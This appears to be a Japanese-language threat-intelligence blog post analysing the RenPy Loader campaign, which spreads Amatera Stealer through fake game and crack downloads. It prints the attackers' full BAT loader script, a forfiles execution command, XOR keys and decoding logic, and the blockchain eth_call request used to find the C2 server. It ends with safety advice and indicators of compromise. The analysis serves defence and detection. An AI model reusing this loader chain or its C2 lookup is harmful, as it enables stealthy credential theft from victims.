ゲーム、MOD、クラック、ソフトウェアの偽のダウンロードを利用して「RenPy Loader」を拡散させる複数の攻撃キャンペーンが確認されています。このローダーがインストールされると、MSBuildや「EtherHiding」手法を悪用した複雑で多段階の感染チェーンが開始され、最終的に「Amatera Stealer」が展開されます。
Amateraは、感染したデバイスから機密情報を盗み出すように設計されたマルウェアの一種である「情報窃取型マルウェア」です。このマルウェアは、ブラウザ、仮想通貨ウォレット、ブラウザ拡張機能、メッセージングアプリ、およびローカルファイルに保存されているパスワードやその他のデータを標的とします。また、盗まれた認証情報やセッションデータを利用することで、攻撃者は被害者のオンラインアカウントにアクセスできる可能性があります。
マルウェアがバックグラウンドで目立たないように動作している間、被害者は一見すると普通のゲームやソフトウェアのインストーラーのように見えるものを目にする可能性があります。
RenPy Loader(RenEngine Loaderとも呼ばれる)は、ビジュアルノベルやストーリー主導型ゲーム、インタラクティブ・フィクションの作成に使用される正規のエンジンであるRen’Pyを悪用している点で、特に注目に値する。ゲーム関連のソフトウェアの中に悪意のあるコードを隠すことで、攻撃者は、ゲームやMOD、あるいはクラック版ソフトウェアを探しているユーザーに対して、自身のダウンロードコンテンツをより信頼できるものに見せかけることができる。
これまで、攻撃者がBunやDenoといった正当な開発ツールや新興のソフトウェアフレームワークを悪用してマルウェアを拡散させる事例が見られてきました。RenPy Loaderも同様のパターンを踏襲しており、攻撃者は正当な技術を悪用して悪意のある活動を偽装し、感染経路を複雑化させ、検知を困難にしています。
また、RenPy Loader が HijackLoader や Lumma Stealer などの他のマルウェアを配布している事例も確認されており、キャンペーンによって最終的なペイロードが異なることが示されている。
このブログ記事では、Ren’PyがBATファイルと複数のMSBuildプロジェクトファイルを含むZIPアーカイブを解凍する感染チェーンについて分析します。これらのファイルは、トロイの木馬化された.NETコンポーネントを読み込み、そのコンポーネントがさらに別の悪意のあるコンポーネントを復号化します。
この悪意のあるコンポーネントは、コマンド&コントロール(C2)サーバーの位置を特定するために「EtherHiding」と呼ばれる手法を使用しています。攻撃者は、C2アドレスをマルウェア内に直接格納するのではなく、パブリックブロックチェーン上に保存されたデータの中に隠しています。その後、マルウェアはそのサーバーから攻撃の次の段階に必要なデータをダウンロードするため、攻撃者のインフラを特定・遮断することがより困難になります。
最後に、Amatera Stealerを最終的に復号・実行する追加のペイロードについて検証する。
偽のダウンロードは端末に感染させます
感染は、ユーザーがゲームやMOD、クラック、あるいはソフトウェアと称するものをダウンロードした際に始まります。調査の結果、以下の経路を通じて悪意のあるファイルが配布されていることが判明しました:
- 悪意のあるウェブサイト
- ゲームダウンロードサイト
- Wormhole、GoFile、Google Drive、MEGAなど、いくつかのファイル共有サービス
以下は、感染の連鎖を引き起こすと検出されたページの一部です:
いくつかのケースでは、ダウンロードリンクをクリックすると、ユーザーは別の偽のダウンロードサイトにリダイレクトされました。これらのページは異なるデザインや架空のサービス名を使用しており、これによりキャンペーンの単調さを和らげ、悪意のあるインフラストラクチャの特定を困難にしていました。
以下は、悪意のあるアーカイブを配布するために使用された偽のダウンロードページの例です:
ユーザーは、次のような名前のファイルが含まれたアーカイブをダウンロードします。 Setup.exe. このファイルを開くと、感染の連鎖が始まります。


被害者は読み込み画面やインストール画面を目にしますが、その裏では悪意のあるコードが実行されています。

安全に過ごすには
いくつかの予防策を講じることで、悪意のあるゲームやソフトウェアをダウンロードしてしまうリスクを減らすことができます:
- ゲームやソフトウェアは、公式サイト、信頼できるアプリストア、または定評のある配信プラットフォームからダウンロードしてください。
- クラック版ソフト、非公式のMOD、有料ゲームの無料版については、十分注意してください。
- ダウンロードリンクをクリックした際に、見慣れないウェブサイトやファイル共有サービスを何カ所も経由してリダイレクトされる場合は、注意が必要です。
- 次のような実行可能ファイルを開く前に、ダウンロードしたアーカイブの内容を確認してください。
Setup.exe. - 不審なファイル名、ダウンロードの目的とは無関係な画像やテキストファイル、およびダウンロードしようとした内容と一致しないコンテンツがないか確認してください。
- 次のようなリアルタイムのマルウェア対策ソフトウェアを使用してください。 Malwarebytesなどのリアルタイムマルウェア対策ソフトウェアを使用してください。
- オペレーティングシステム、ブラウザ、セキュリティソフトを常に最新の状態に保ってください。
こうしたキャンペーンの運営者は、絶えず新しいウェブサイトを作成し、ダウンロードページを変更しています。見た目がプロ仕様のインストーラーや、よく知られたファイル共有サービスであっても、ダウンロードが安全であるとは限りません。
RenPyローダーの技術的解析
Ren’Pyは、ビジュアルノベル、ストーリー主導型ゲーム、インタラクティブ・フィクションを作成するための、無料のオープンソースエンジンです。Ren’PyではPythonスクリプトを組み込むことが可能ですが、攻撃者はこれを悪用して悪意のあるコードを挿入することがあります。
このケースでは、以下のファイルおよびパスに悪意のあるコードが発見されました:
|
パス |
説明 |
|---|---|
|
|
アンチサンドボックスクラス |
|
|
ローダー |
|
|
XOR暗号化された設定 |
|
|
XOR暗号化されたZIP |
第1段ロダーは、以下から抽出された。 libwin32.rpa 以下の操作を実行します:
- 設定を読み込みます
data/.GEgそして、Base64デコードと鍵を用いたXOR演算を用いて復号します81034149cd6f48c8821340204f92766e. この設定ファイルには、ZIPファイルの解凍に使用されるパスワードのほか、ローダーが使用するその他の設定データが含まれています。 - 通話
sys_config.is_sandboxed()また、サンドボックスが検出された場合は終了します。 - XOR復号
data/j3lpTcg7kBRN.E3キーを使用してA50YyY1ZIPファイルを取得するには。 - ZIPファイルの内容を、以下のパスにあるランダムなフォルダに解凍します。
%TEMP%/tmp-{5 digits}-{12 characters}そして、次のように記述する:Zone.Identifier代替データストリーム(ADS)とZoneId=0「Webのマーク」を削除し、SmartScreenを回避するためです。また、ランダムなREM文字列を、抽出されたBATファイルに貼り付けます。 - 以下を使用してペイロードを打ち上げます
forfiles.exe. - MAC とキャンペーンIDをトラッキングサイトに送信します。


この場合、抽出されたBATファイルは、次のコマンドを使用して実行されました:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
BATファイルの内容:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
実行されたBATファイルは、以下の操作を実行します:
- 非表示またはヘッドレスコンソールで再起動します:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- MSBuildのプロパティ関数を有効にし、次のような追加のメソッドを使用できるようにします。
AppDomain.CurrentDomain.Load実行対象:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- 実行する
MSBuild.exe~とNancy.csprojをプロジェクトファイルとして使用します。プロジェクトの評価中に、悪意のある MSBuild プロパティ関数が 16 進数から10進数へのデコードを行い、次の DLL ステージをリフレクティブに読み込みます。
トロイの木馬化されたNancy DLLとカスタムバイトコード
Nancy.csproj 抽出された3つのファイルをインポートします Nancy.csproj.user, Internal.props、そして Nancy.Compile.targets. 悪意のあるDLLは、これらのファイルに保存されている3つの値に分割されています。

Nancy.csprojNancy.Compile.targets 3つの値を連結して、DLLを16進数でデコードし、 DefaultEvaluator5 〜を使用したメソッド AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5興味深いのは、 Nancy.csproj これには2つの目的があります。1つは、第1段階のローダーを実行するために使用されるMSBuildプロジェクトであること、もう1つは、ローダーによってデコードされた次の段階が含まれていることです。
このDLLは、Nancy .NETライブラリをトロイの木馬化したものであり、悪意のあるコードが実装された難読化された.NETローダーです。 DefaultEvaluator5 クラス。このDLLの機能の一部は、このmainメソッドによって実行されるカスタムバイトコードで実装されています。

このDLLは、以下の処理を実行します:
- マルチキーXOR復号を使用して、リソース内の文字列を復号します。
- APIハッシュを使用してAPIを解決し、
GetDelegateForFunctionPointer. - TLS証明書の検証を無効にしたり、システムのデフォルトプロキシを設定したりするなど、ネットワーク設定を変更します。
- フォレンジック対策を実施する。
- を読み込みます
_czzf環境変数。これは、前のNancy.csprojファイルを読み込み、それをデコードして実行します。
主な DefaultEvaluator5 このメソッドは、以下のリソースに含まれるバイトコードを取得し、それを解釈します:
Nancy.Runtime.mvlorimu: カスタムバイトコードが含まれています。このバイトコードは、_pvそして_sro. これは、他の文字列を復号したり、次の段階のDLLを読み込んだりするために使用される23個のオペコードを実装している。Nancy.Data.tcnlhxwそしてNancy.Resources.kxxodp: 暗号化された文字列や、復号に使用されるその他のデータ(鍵、長さ、インデックス、S-ボックスなど)を含める。
文字列は、以下のアルゴリズムを使用して復号化されます:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
次のDLLステージ、 GollopDevest, は同じものからデコードされる Nancy.csproj 以下のロジックを使用してファイルを作成し、以下を読み込みました。 AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack マーカーEtherHiding と Amatera Stealer
次に抽出されるステージは、という名前のDLLです。 GollopDevest.dll、EtherHidingという手法を用いてコマンド&コントロール(C2)サーバーを取得し、次の段階のマルウェアをダウンロードする.NETベースのダウンローダー。
暗号化されたC2ドメインは、イーサリアムのJSON-RPCを使用して取得されます。 eth_call ~への依頼 bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
この「EtherHiding」ダウンローダーは、ClickFixキャンペーンを含む他のキャンペーンでも配布されていることが確認されていることから、マルウェア・アズ・ア・サービス(MaaS)の一環である可能性が高い。
その後、さらに3つのペイロードがダウンロードされます。これらは、 PavinWide (分析対策用DLL)および GollopDevest (ローダー DLL)と、 LanoseThrip, これにより最終的にAmatera Stealerの復号と読み込みが行われる。
このケースでは、これらのペイロードは以下の場所からダウンロードされました:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
.NET DLL は、制御フローの平坦化や、 calli/ldftn、複数のアルゴリズムによる文字列の暗号化、ジャンクコード、デッドコード、およびURLパスなどの偽の文字列。
これらのDLLの分析は現在も進行中であり、今後のブログ記事でさらに詳しく取り上げていく予定です。
妥協の指標(IOCs)
ドメイン
downpro[.]net– 偽のダウンロードサイトmacisofile[.]sbs– 偽のダウンロードサイトvisitmama[.]blog– 偽のダウンロードサイトvisitmama[.]guru– 偽のダウンロードサイトgetgamerfree[.]com– 偽のダウンロードサイトfullgames[.]digital– 偽のダウンロードサイトflingbase[.]net– 偽のダウンロードサイトcitronemu[.]com– 偽のダウンロードサイトfilemodo[.]xyz– 流通インフラstorage06x[.]cfd– 流通インフラp03sil[.]cyou– 流通インフラwimsedas[.]xyz– 流通インフラagainstmor[.]store– 流通インフラhost03q[.]cfd– 流通インフラcloud01y[.]cfd– 流通インフラstorage11x[.]cfd– 流通インフラstorage04x[.]cfd– 流通インフラhost82p[.]cfd– 流通インフラcloud05y[.]cfd– 流通インフラanalyticstrack-pzh[.]click– 追跡サイトlogin.orbitalframework[.]cc– アマテラ・スティーラー C2
IPアドレス
144.124.251[.]171– 追加のペイロードを取得するために使用される195.63.140[.]33– 追加のペイロードを取得するために使用される78.40.196[.]252– 追加のペイロードを取得するために使用される
ファイルのハッシュ値(MD5)
29203ca123d51b1b33505a0813d360df– 第1段階のローダー(トロイの木馬化されたDLL)810F257542018BE0FC62AF542D13D012– GollopDevest DLL(ダウンローダー DLL)681DB529E402467A4B0567C82A350FC0– PavinWride DLL(解析防止用DLL)2E116632248A7E1F8AA6BCA92D9C1C90– GollopDevest DLL(ローダー DLL)F8453EFE408CE25B9484F872797E3D63– 最終ペイロード






















